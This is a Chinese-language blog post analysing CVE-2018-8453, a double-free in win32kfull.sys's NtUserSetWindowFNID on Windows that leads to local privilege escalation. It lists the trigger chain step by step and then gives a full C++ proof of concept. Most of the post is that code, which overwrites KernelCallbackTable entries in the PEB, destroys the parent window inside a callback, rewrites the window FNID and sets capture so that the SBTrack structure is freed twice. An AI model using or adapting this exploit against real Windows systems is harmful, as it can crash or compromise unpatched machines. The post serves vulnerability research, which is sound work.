CVE-2018-8453漏洞分析

0x00漏洞信息

漏洞影响:本地提权

漏洞文件:win32kfull.sys

漏洞函数:NtUserSetWindowFNID

漏洞原因:双释放

漏洞日期:2018年 10月9号

【漏洞分析合集】

0x01参考链接

http://www.whsgwl.net/blog/CVE-2018-8453_0.html

https://bbs.pediy.com/thread-249021.htm

0x02漏洞利用

HOOK KernelCallbackTable->注册窗口类,WNDCLASSEXW.cbWndExtra设置为4->产生主窗口->以主窗口作为父窗口产生一个滚动条窗口SrollBar->发送WM_LBUTTONDOWN消息->系统处理消息初始化SBTrack结构并开始循环->发生fnDWORD回调,fnDWORD回调中销毁主窗口->销毁主窗口,释放扩展字节xxxClientFreeWindowClassExtraBytes->xxxClientFreeWindowClassExtraBytes系统调用回调fnClientFreeWindowClassExtraBytesCallBack->fnClientFreeWindowClassExtraBytesCallBack HOOK中调用NtUserSetWindowFNID更改掉窗口FNID->创建新窗口并调用SetCapture设置新窗口为捕获窗口->xxxSBLoop返回后解除主窗口引用->由于这是主窗口唯一的一个引用,这次解除导致彻底释放主窗口对象,xxxFreeWindow函数执行->由于主窗口对象的FNID已经被更改,xxxFreeWindow函数执行过程中将再一次回到用户态->用户态向新窗口发送WM_CANCELMODE消息->系统处理WM_CANCELMODE消息,释放了SBTrack->流程返回到内核继续执行xxxSBTrackInit函数最后的释放SBTrack->重复释放SBTrack!

0x03poc

// CVE-2018-8453.cpp : 定义控制台应用程序的入口点。
//

#pragma warning(disable:4996);
#include <iostream>
#include <string.h>
#include <windows.h>
#include <tchar.h>
#include <intrin.h>

using namespace std;

EXTERN_C ULONG64 GetPeb(VOID);
EXTERN_C ULONG64 NtUserSetWindowFNID(HANDLE, UINT);

typedef VOID(WINAPI* My_FnFunction)(
    IN PVOID MSG
    );

UINT Flag = 0;
HWND Window = NULL, SrollBar = NULL, New_SrollBar = NULL;
ULONG64 PEB = NULL, fnDWORD_Address;
My_FnFunction fnDword = NULL, xxxClientAllocWindowClassExtraBytes = NULL;


UINT CreateWindows(VOID) {

    HINSTANCE hInstance;
    WNDCLASS wndclass = { 0 };

    {

        hInstance = GetModuleHandleA(0);
        wndclass.style = CS_HREDRAW | CS_VREDRAW;
        wndclass.lpfnWndProc = DefWindowProc;
        wndclass.hInstance = hInstance;
        wndclass.cbWndExtra = 0x8;
        wndclass.lpszMenuName = NULL;
        wndclass.lpszClassName = "case";

        if (!RegisterClassA(&wndclass)) {
            cout << "RegisterClass Error!" << endl;
            return 1;
        }
    }
    Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);

    if (!Window) {
        cout << "Create Window Error!" << endl;
        return 1;
    }

    //保存句柄在扩展内存中
    SetWindowLongA(Window, 0, (ULONG)Window);

    //WS_CHILD |
    //SBS_HORZ创建滚动条控件  WS_CHILD生成的窗口是母窗口的子窗口
    SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL);
    cout << "Window:0x" << hex << Window << endl;
    cout << "SrollBar:0x" << hex << SrollBar << endl;

}



VOID fnDWORDHook(PMSG MSG) {

    if (*(DWORD*)MSG && Flag) {//flag 只走一次
        Flag = 0;
        DestroyWindow(Window);//销毁窗口 触发xxxClientAllocWindowClassExtraBytesHook
    }

    if (*((PULONG64)MSG + 1) == 0x70) {
        SendMessageA(New_SrollBar, 0x1F, 0, 0);//xxxEndScroll
    }
    fnDword(MSG);

}

VOID xxxClientAllocWindowClassExtraBytesHook(PVOID MSG) {

    if ((*(HWND*)*(HWND*)MSG) == Window) {//判断句柄是否在窗口扩展中 证明是当前主窗口消息
        cout << "xxxClientAllocWindowClassExtraBytes" << endl;
        New_SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);
        NtUserSetWindowFNID(Window, 0x2A1);//0x82A1  从新赋值
        SetCapture(New_SrollBar);
    }

    xxxClientAllocWindowClassExtraBytes(MSG);
}


VOID Hook_Init(VOID) {
    DWORD OldType = 0;

    ULONG64 KernelCallbackTable = *(ULONG64*)(PEB + 0x58);//回调函数

    VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType);

    //fnDWORD
    fnDword = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x02);

    *(ULONG64*)(KernelCallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;

    //xxxClientAllocWindowClassExtraBytes

    xxxClientAllocWindowClassExtraBytes = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x80);

    *(ULONG64*)(KernelCallbackTable + 0x08 * 0x80) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook;
}



int _tmain(int argc, _TCHAR* argv[]) {

    //获取PEB地址
    PEB = GetPeb();
    //创建窗口
    CreateWindows();
    //Hook
    Hook_Init();
    Flag = 1;
    //向滚动条发送点击消息
    SendMessageA(SrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);

    getchar();
    return 0;
}

 

posted @ 2022-05-29 15:46  紅人  阅读(96)  评论(0编辑  收藏  举报